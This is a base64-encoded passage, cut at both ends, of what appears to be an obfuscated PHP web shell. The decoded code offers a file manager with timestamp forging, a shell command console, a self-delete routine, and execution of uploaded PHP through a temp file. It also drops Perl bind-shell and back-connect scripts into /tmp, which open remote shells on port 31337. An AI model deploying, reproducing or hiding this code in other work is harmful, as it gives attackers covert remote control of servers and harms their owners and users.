FzZSAnaGV4ZHVtcCc6CiAgICAgICAgICAgICRxb3dkZWdmbXYgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydsc2RlZSddKTsKICAgICAgICAgICAgJHZ6bGFpbm90ID0gMDsKICAgICAgICAgICAgJHZta3B1ZWxwcWcgPSBhcnJheSgnMDAwMDAwMDA8YnI+JywgJycsICcnKTsKICAgICAgICAgICAgJGxieWxiZWZ5YW8gPSBzdHJsZW4oJHFvd2RlZ2Ztdik7CiAgICAgICAgICAgIGZvciAoJGplZHByd3ZhZWYgPSAwOyAkamVkcHJ3dmFlZiA8ICRsYnlsYmVmeWFvOyArKyRqZWRwcnd2YWVmKSB7CiAgICAgICAgICAgICAgICAkdm1rcHVlbHBxZ1sxXSAuPSBzcHJpbnRmKCclMDJYJywgb3JkKCRxb3dkZWdmbXZbJGplZHByd3ZhZWZdKSkgLiAnICc7CiAgICAgICAgICAgICAgICBzd2l0Y2ggKG9yZCgkcW93ZGVnZm12WyRqZWRwcnd2YWVmXSkpIHsKICAgICAgICAgICAgICAgICAgICBjYXNlIDA6CiAgICAgICAgICAgICAgICAgICAgICAgICR2bWtwdWVscHFnWzJdIC49ICcgJzsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA5OgogICAgICAgICAgICAgICAgICAgICAgICAkdm1rcHVlbHBxZ1syXSAuPSAnICc7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMTA6CiAgICAgICAgICAgICAgICAgICAgICAgICR2bWtwdWVscHFnWzJdIC49ICcgJzsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAxMzoKICAgICAgICAgICAgICAgICAgICAgICAgJHZta3B1ZWxwcWdbMl0gLj0gJyAnOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgICAgICAgICAkdm1rcHVlbHBxZ1syXSAuPSAkcW93ZGVnZm12WyRqZWRwcnd2YWVmXTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkdnpsYWlub3QrKzsKICAgICAgICAgICAgICAgIGlmICgkdnpsYWlub3QgPT0gMzIpIHsKICAgICAgICAgICAgICAgICAgICAkdnpsYWlub3QgPSAwOwogICAgICAgICAgICAgICAgICAgIGlmICgkamVkcHJ3dmFlZiArIDEgPCAkbGJ5bGJlZnlhbykgewogICAgICAgICAgICAgICAgICAgICAgICAkdm1rcHVlbHBxZ1swXSAuPSBzcHJpbnRmKCclMDhYJywgJGplZHByd3ZhZWYgKyAxKSAuICc8YnI+JzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJHZta3B1ZWxwcWdbMV0gLj0gJzxicj4nOwogICAgICAgICAgICAgICAgICAgICR2bWtwdWVscHFnWzJdIC49ICJcbiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NSBiZ2NvbG9yPSMyMjIyMjI+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicgLiAkdm1rcHVlbHBxZ1swXSAuICc8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+JyAuICR2bWtwdWVscHFnWzFdIC4gJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicgLiBodG1sc3BlY2lhbGNoYXJzKCR2bWtwdWVscHFnWzJdKSAuICc8L3ByZT48L3RkPjwvdHI+PC90YWJsZT4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdyZW5hbWUnOgogICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsna3Z1ZWQnXSkpIHsKICAgICAgICAgICAgICAgIGlmICghQHJlbmFtZSgkX1BPU1RbJ2xzZGVlJ10sICRfUE9TVFsna3Z1ZWQnXSkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdDYW5cJ3QgcmVuYW1lITxicj4nOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicgLiB1cmxlbmNvZGUoJF9QT1NUWydrdnVlZCddKSAuICciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ2xzZGVlJ10pIC4gJ1wnLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJyAuIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydsc2RlZSddKSAuICciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICd0b3VjaCc6CiAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydrdnVlZCddKSkgewogICAgICAgICAgICAgICAgJHh1emdsdXJrb3BzaCA9IHN0cnRvdGltZSgkX1BPU1RbJ2t2dWVkJ10pOwogICAgICAgICAgICAgICAgaWYgKCR4dXpnbHVya29wc2gpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIXRvdWNoKCRfUE9TVFsnbHNkZWUnXSwgJHh1emdsdXJrb3BzaCwgJHh1emdsdXJrb3BzaCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnRmFpbCEnOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ1RvdWNoZWQhJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCEnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7CiAgICAgICAgICAgIGVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydsc2RlZSddKSAuICdcJyxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJyAuIGRhdGUoIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1RbJ2xzZGVlJ10pKSAuICciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICBicmVhazsKICAgIH0KICAgIGVjaG8gJzwvZGl2Pic7CiAgICBqendkeigpOwp9CgpmdW5jdGlvbiBhY3Rpb25Db25zb2xlKCkgewogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2xzZGVlJ10pICYmICFlbXB0eSgkX1BPU1RbJ2R4eHhyZCddKSkgewogICAgICAgIHJwbGx3dXd6KG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ3N0ZGVycl90b19vdXQnLCB0cnVlKTsKICAgICAgICAkX1BPU1RbJ2xzZGVlJ10gLj0gJyAyPiYxJzsKICAgIH0gZWxzZWlmICghZW1wdHkoJF9QT1NUWydsc2RlZSddKSkgewogICAgICAgIHJwbGx3dXd6KG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ3N0ZGVycl90b19vdXQnLCAwKTsKICAgIH0KCiAgICBpZiAoaXNzZXQoJF9QT1NUWydsdG5tYSddKSkgewogICAgICAgIHJwbGx3dXd6KG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCB0cnVlKTsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIGVjaG8gImQuY2YuY21kLnZhbHVlPScnO1xuIjsKICAgICAgICAkam90bGZhY3NxZ3UgPSBAaWNvbnYoJF9QT1NUWydzZnRyJ10sICdVVEYtOCcsIGFkZGNzbGFzaGVzKCJcbiQgIiAuICRfUE9TVFsnbHNkZWUnXSAuICJcbiIgLiBmZHB1dmt3eSgkX1BPU1RbJ2xzZGVlJ10pLCAiXG5cclx0XFwnXDAiKSk7CiAgICAgICAgaWYgKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwgJF9QT1NUWydsc2RlZSddLCAkc3VvZm5hc2opKSB7CiAgICAgICAgICAgIGlmIChAY2hkaXIoJHN1b2ZuYXNqWzFdKSkgewogICAgICAgICAgICAgICAgJEdMT0JBTFNbJ3pucGNpcmFndWxpJ10gPSBAZ2V0Y3dkKCk7CiAgICAgICAgICAgICAgICBlY2hvICJjXz0nIiAuICRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddIC4gIic7IjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlY2hvICJkLmNmLm91dHB1dC52YWx1ZSs9JyIgLiAkam90bGZhY3NxZ3UgLiAiJzsiOwogICAgICAgIGVjaG8gImQuY2Yub3V0cHV0LnNjcm9sbFRvcCA9IGQuY2Yub3V0cHV0LnNjcm9sbEhlaWdodDsiOwogICAgICAgICRqb3RsZmFjc3FndSA9IG9iX2dldF9jbGVhbigpOwogICAgICAgIGVjaG8gc3RybGVuKCRqb3RsZmFjc3FndSksICJcbiIsICRqb3RsZmFjc3FndTsKICAgICAgICBleGl0OwogICAgfQogICAgaWYgKGVtcHR5KCRfUE9TVFsnbHRubWEnXSkgJiYgIWVtcHR5KCRfUE9TVFsnbHNkZWUnXSkpIHsKICAgICAgICBycGxsd3V3eihtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4JywgMCk7CiAgICB9CiAgICBxZW12aygpOwogICAgZWNobyAiPHNjcmlwdD4KICAgIGlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZRE9XTik7CiAgICB2YXIgY21kcyA9IG5ldyBBcnJheSgnJyk7CiAgICB2YXIgY3VyID0gMDsKICAgIGZ1bmN0aW9uIGtwKGUpIHsKICAgICAgICB2YXIgbiA9ICh3aW5kb3cuRXZlbnQpID8gZS53aGljaCA6IGUua2V5Q29kZTsKICAgICAgICBpZihuID09IDM4KSB7CiAgICAgICAgICAgIGN1ci0tOwogICAgICAgICAgICBpZihjdXI+PTApCiAgICAgICAgICAgICAgICBkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIGN1cisrOwogICAgICAgIH0gZWxzZSBpZihuID09IDQwKSB7CiAgICAgICAgICAgIGN1cisrOwogICAgICAgICAgICBpZihjdXIgPCBjbWRzLmxlbmd0aCkKICAgICAgICAgICAgICAgIGRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgY3VyLS07CiAgICAgICAgfQogICAgfQogICAgZnVuY3Rpb24gYWRkKGNtZCkgewogICAgICAgIGNtZHMucG9wKCk7CiAgICAgICAgY21kcy5wdXNoKGNtZCk7CiAgICAgICAgY21kcy5wdXNoKCcnKTsKICAgICAgICBjdXIgPSBjbWRzLmxlbmd0aC0xOwogICAgfQo8L3NjcmlwdD4iOwogICAgZWNobyAnPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3VibWl0PSJpZihkLmNmLmNtZC52YWx1ZT09XCdjbGVhclwnKXtkLmNmLm91dHB1dC52YWx1ZT1cJ1wnO2QuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQodGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IHJldHVybiBmYWxzZTsiPjxzZWxlY3QgbmFtZT1hbGlhcz4nOwogICAgZm9yZWFjaCAoJEdMT0JBTFNbJ2xpZmVieiddIGFzICR2emxhaW5vdCA9PiAkZWdjb3JldCkgewogICAgICAgIGlmICgkZWdjb3JldCA9PSAnJykgewogICAgICAgICAgICBlY2hvICc8b3B0Z3JvdXAgbGFiZWw9Ii0nIC4gaHRtbHNwZWNpYWxjaGFycygkdnpsYWlub3QpIC4gJy0iPjwvb3B0Z3JvdXA+JzsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgIGVjaG8gJzxvcHRpb24gdmFsdWU9IicgLiBodG1sc3BlY2lhbGNoYXJzKCRlZ2NvcmV0KSAuICciPicgLiAkdnpsYWlub3QgLiAnPC9vcHRpb24+JzsKICAgIH0KCiAgICBlY2hvICc8L3NlbGVjdD48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz0iYWRkKGQuY2YuYWxpYXMudmFsdWUpO2lmKGQuY2YuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO31lbHNle2cobnVsbCxudWxsLGQuY2YuYWxpYXMudmFsdWUsZC5jZi5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSIgdmFsdWU9Ij4+Ij4gPG5vYnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJyAuIChAJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID8gJ2NoZWNrZWQnIDogJycpIC4gJz4gc2VuZCB1c2luZyBBSkFYIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c2hvd19lcnJvcnMgdmFsdWU9MSAnIC4gKCFlbXB0eSgkX1BPU1RbJ2R4eHhyZCddKSB8fCAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdzdGRlcnJfdG9fb3V0J10gPyAnY2hlY2tlZCcgOiAnJykgLiAnPiByZWRpcmVjdCBzdGRlcnIgdG8gc3Rkb3V0ICgyPiYxKTwvbm9icj48YnIvPjx0ZXh0YXJlYSBjbGFzcz1iaWdhcmVhIG5hbWU9b3V0cHV0IHN0eWxlPSJib3JkZXItYm90dG9tOjA7bWFyZ2luOjA7IiByZWFkb25seT4nOwogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2xzZGVlJ10pKSB7CiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIgLiAkX1BPU1RbJ2xzZGVlJ10gLiAiXG4iIC4gZmRwdXZrd3koJF9QT1NUWydsc2RlZSddKSk7CiAgICB9CiAgICBlY2hvICc8L3RleHRhcmVhPjx0YWJsZSBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjZGY1O2JhY2tncm91bmQtY29sb3I6IzU1NTtib3JkZXItdG9wOjBweDsiIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB3aWR0aD0iMTAwJSI+PHRyPjx0ZCB3aWR0aD0iMSUiPiQ8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXI6MHB4O3dpZHRoOjEwMCU7IiBvbmtleWRvd249ImtwKGV2ZW50KTsiPjwvdGQ+PC90cj48L3RhYmxlPic7CiAgICBlY2hvICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5kLmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7CiAgICBqendkeigpOwp9CgpmdW5jdGlvbiBhY3Rpb25Mb2dvdXQoKSB7CiAgICBzZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICcnLCB0aW1lKCkgLSAzNjAwKTsKICAgIGRpZSgnYnllIScpOwp9CgpmdW5jdGlvbiBhY3Rpb25TZWxmUmVtb3ZlKCkgewoKICAgIGlmICgkX1BPU1RbJ2xzZGVlJ10gPT0gJ3llcycpIHsKICAgICAgICBpZiAoQHVubGluayhwcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkgewogICAgICAgICAgICBkaWUoJ1NoZWxsIGhhcyBiZWVuIHJlbW92ZWQnKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICd1bmxpbmsgZXJyb3IhJzsKICAgICAgICB9CiAgICB9CiAgICBpZiAoJF9QT1NUWydsc2RlZSddICE9ICd5ZXMnKSB7CiAgICAgICAgcWVtdmsoKTsKICAgIH0KICAgIGVjaG8gJzxoMT5TdWljaWRlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+UmVhbGx5IHdhbnQgdG8gcmVtb3ZlIHRoZSBzaGVsbD88YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8L2E+PC9kaXY+JzsKICAgIGp6d2R6KCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbk5ldHdvcmsoKSB7CiAgICBxZW12aygpOwogICAgJHVldWVzdmMgPSAiSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOwogICAgJHZwaWhvdnJoID0gIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZjMmdnTFdraU93MEthV1lnS0VCQlVrZFdJRHdnTVNrZ2V5QmxlR2wwS0RFcE95QjlEUXAxYzJVZ1UyOWphMlYwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTFSU1JVRk5MR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1NrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRUZTUjFaYk1GMHNTVTVCUkVSU1gwRk9XU2twSUh4OElHUnBaU0FpUTJGdWRDQnZjR1Z1SUhCdmNuUmNiaUk3RFFwc2FYTjBaVzRvVXl3ektTQjhmQ0JrYVdVZ0lrTmhiblFnYkdsemRHVnVJSEJ2Y25SY2JpSTdEUXAzYUdsc1pTZ3hLU0I3RFFvSllXTmpaWEIwS0VOUFRrNHNVeWs3RFFvSmFXWW9JU2drY0dsa1BXWnZjbXNwS1NCN0RRb0pDV1JwWlNBaVEyRnVibTkwSUdadmNtc2lJR2xtSUNnaFpHVm1hVzVsWkNBa2NHbGtLVHNOQ2drSmIzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DZ2tKYjNCbGJpQlRWRVJQVlZRc0lqNG1RMDlPVGlJN0RRb0pDVzl3Wlc0Z1UxUkVSVkpTTENJK0prTlBUazRpT3cwS0NRbGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DZ2tKWTJ4dmMyVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7CiAgICBlY2hvICI8aDE+TmV0d29yayB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgogICAgPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdicHAnLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPgogICAgPHNwYW4+QmluZCBwb3J0IHRvIC9iaW4vc2ggW3BlcmxdPC9zcGFuPjxici8+CiAgICBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+CiAgICA8L2Zvcm0+CiAgICA8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PVwiZyhudWxsLG51bGwsJ2JjcCcsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+CiAgICA8c3Bhbj5CYWNrLWNvbm5lY3QgIFtwZXJsXTwvc3Bhbj48YnIvPgogICAgU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIic+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMzEzMzcnPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz4KICAgIDwvZm9ybT48YnI+IjsKICAgIGlmIChpc3NldCgkX1BPU1RbJ2xzZGVlJ10pKSB7CgogICAgICAgIGZ1bmN0aW9uIHJzeHBuYigkZXpucmlweCwgJHlwZnpzYnJ2YmIpIHsKICAgICAgICAgICAgJGlta3lodyA9IEBmb3BlbigkZXpucmlweCwgInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpOwogICAgICAgICAgICBpZiAoJGlta3lodykgewogICAgICAgICAgICAgICAgQGZ3cml0ZSgkaW1reWh3LCBAYmFzZTY0X2RlY29kZSgkeXBmenNicnZiYikpOwogICAgICAgICAgICAgICAgQGZjbG9zZSgkaW1reWh3KTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKCRfUE9TVFsnbHNkZWUnXSA9PSAnYnBwJykgewogICAgICAgICAgICByc3hwbmIoIi90bXAvYnAucGwiLCAkdnBpaG92cmgpOwogICAgICAgICAgICAkcm5zdHJpZnZxY2VrID0gZmRwdXZrd3koInBlcmwgL3RtcC9icC5wbCAiIC4gJF9QT1NUWydkeHh4cmQnXSAuICIgMT4vZGV2L251bGwgMj4mMSAmIik7CiAgICAgICAgICAgIHNsZWVwKDEpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kcm5zdHJpZnZxY2VrXG4iIC4gZmRwdXZrd3koInBzIGF1eCB8IGdyZXAgYnAucGwiKSAuICI8L3ByZT4iOwogICAgICAgICAgICB1bmxpbmsoIi90bXAvYnAucGwiKTsKICAgICAgICB9CiAgICAgICAgaWYgKCRfUE9TVFsnbHNkZWUnXSA9PSAnYmNwJykgewogICAgICAgICAgICByc3hwbmIoIi90bXAvYmMucGwiLCAkdWV1ZXN2Yyk7CiAgICAgICAgICAgICRybnN0cmlmdnFjZWsgPSBmZHB1dmt3eSgicGVybCAvdG1wL2JjLnBsICIgLiAkX1BPU1RbJ2R4eHhyZCddIC4gIiAiIC4gJF9QT1NUWydrdnVlZCddIC4gIiAxPi9kZXYvbnVsbCAyPiYxICYiKTsKICAgICAgICAgICAgc2xlZXAoMSk7CiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRybnN0cmlmdnFjZWtcbiIgLiBmZHB1dmt3eSgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpIC4gIjwvcHJlPiI7CiAgICAgICAgICAgIHVubGluaygiL3RtcC9iYy5wbCIpOwogICAgICAgIH0KICAgIH0KICAgIGVjaG8gJzwvZGl2Pic7CiAgICBqendkeigpOwp9CgpmdW5jdGlvbiBhY3Rpb25SQygpIHsKICAgIGlmICghQCRfUE9TVFsnbHNkZWUnXSkgewogICAgICAgICR2eXhwa3ZhbWMgPSBhcnJheSgKICAgICAgICAgICAgInVuYW1lIiA9PiBwaHBfdW5hbWUoKSwKICAgICAgICAgICAgInBocF92ZXJzaW9uIiA9PiBwaHB2ZXJzaW9uKCksCiAgICAgICAgICAgICJzYWZlbW9kZSIgPT4gQGluaV9nZXQoJ3NhZmVfbW9kZScpCiAgICAgICAgKTsKICAgICAgICBlY2hvIHNlcmlhbGl6ZSgkdnl4cGt2YW1jKTsKICAgIH0gZWxzZSB7CiAgICAgICAgLy8g0JHQldCXIGV2YWw6INC40YHQv9C+0LvQvdGP0LXQvCDQutCw0LogUEhQLdGE0LDQudC7CiAgICAgICAgJHRlbXBGaWxlID0gdGVtcG5hbShzeXNfZ2V0X3RlbXBfZGlyKCksICd0bXBfcGhwXycpOwogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCR0ZW1wRmlsZSwgIjw/cGhwXG4iIC4gJF9QT1NUWydsc2RlZSddKTsKICAgICAgICBpbmNsdWRlICR0ZW1wRmlsZTsKICAgICAgICB1bmxpbmsoJHRlbXBGaWxlKTsKICAgIH0KfQoKCmZ1bmN0aW9uIGtrd2F1bygkZ3Z3Y211YmxsYnMpIHsKICAgIHJldHVybiBhYmJoZmpqeigkZ3Z3Y211YmxsYnMsICRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gImhoYWFrbndjIl0pOwp9CgpmdW5jdGlvbiBhYmJoZmpqeigkbnN3aWZveWV3d29qLCAkeHhxZ2dmdnQpIHsKICAgIGlmICghJHh4cWdnZnZ0KSB7CiAgICAgICAgcmV0dXJuIG51bGw7CiAgICB9CgoKICAgICRuc3dpZm95ZXd3b2ogPSBiYXNlNjRfZW5jb2RlKCRuc3dpZm95ZXd3b2opOwogICAgJHh4cWdnZnZ0ID0gYmFzZTY0X2VuY29kZSgkeHhxZ2dmdnQpOwogICAgJHh6c2xseWFsZmd3aSA9ICcnOwogICAgJG5kcmtpdWcgPSAnJzsKICAgICRqZWRwcnd2YWVmID0gMDsKICAgIHdoaWxlICgkamVkcHJ3dmFlZiA8IG1iX3N0cmxlbigkbnN3aWZveWV3d29qKSkgewogICAgICAgIGZvciAoJHNzc3J5Z2ZqbyA9IDA7ICRzc3NyeWdmam8gPCBtYl9zdHJsZW4oJHh4cWdnZnZ0KTsgJHNzc3J5Z2ZqbysrKSB7CiAgICAgICAgICAgICR4enNsbHlhbGZnd2kgPSB3cmp6aGpmdSgkbnN3aWZveWV3d29qLCAkamVkcHJ3dmFlZikgXiB3cmp6aGpmdSgkeHhxZ2dmdnQsICRzc3NyeWdmam8pOwogICAgICAgICAgICAkbmRya2l1ZyAuPSBjaHIoJHh6c2xseWFsZmd3aSk7CiAgICAgICAgICAgICRqZWRwcnd2YWVmKys7CiAgICAgICAgICAgIGlmICgkamVkcHJ3dmFlZiA+PSBtYl9zdHJsZW4oJG5zd2lmb3lld3dvaikpIHsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQoKCiAgICB9CgogICAgcmV0dXJuIGJhc2U2NF9lbmNvZGUoJG5kcmtpdWcpOwoKCn0KCmZ1bmN0aW9uIHdyanpoamZ1KCRyc3pxdHVmLCAkbWhoY3BpaWxuaWdqKSB7CiAgICAkcHFqbWtyb2JxYSA9IG1iX3N1YnN0cigkcnN6cXR1ZiwgJG1oaGNwaWlsbmlnaiwgMSwgJ1VURi04Jyk7CiAgICBpZiAobWJfY2hlY2tfZW5jb2RpbmcoJHBxam1rcm9icWEsICdVVEYtOCcpKSB7CiAgICAgICAgJGFscGFxb2JhdmsgPSBtYl9jb252ZXJ0X2VuY29kaW5nKCRwcWpta3JvYnF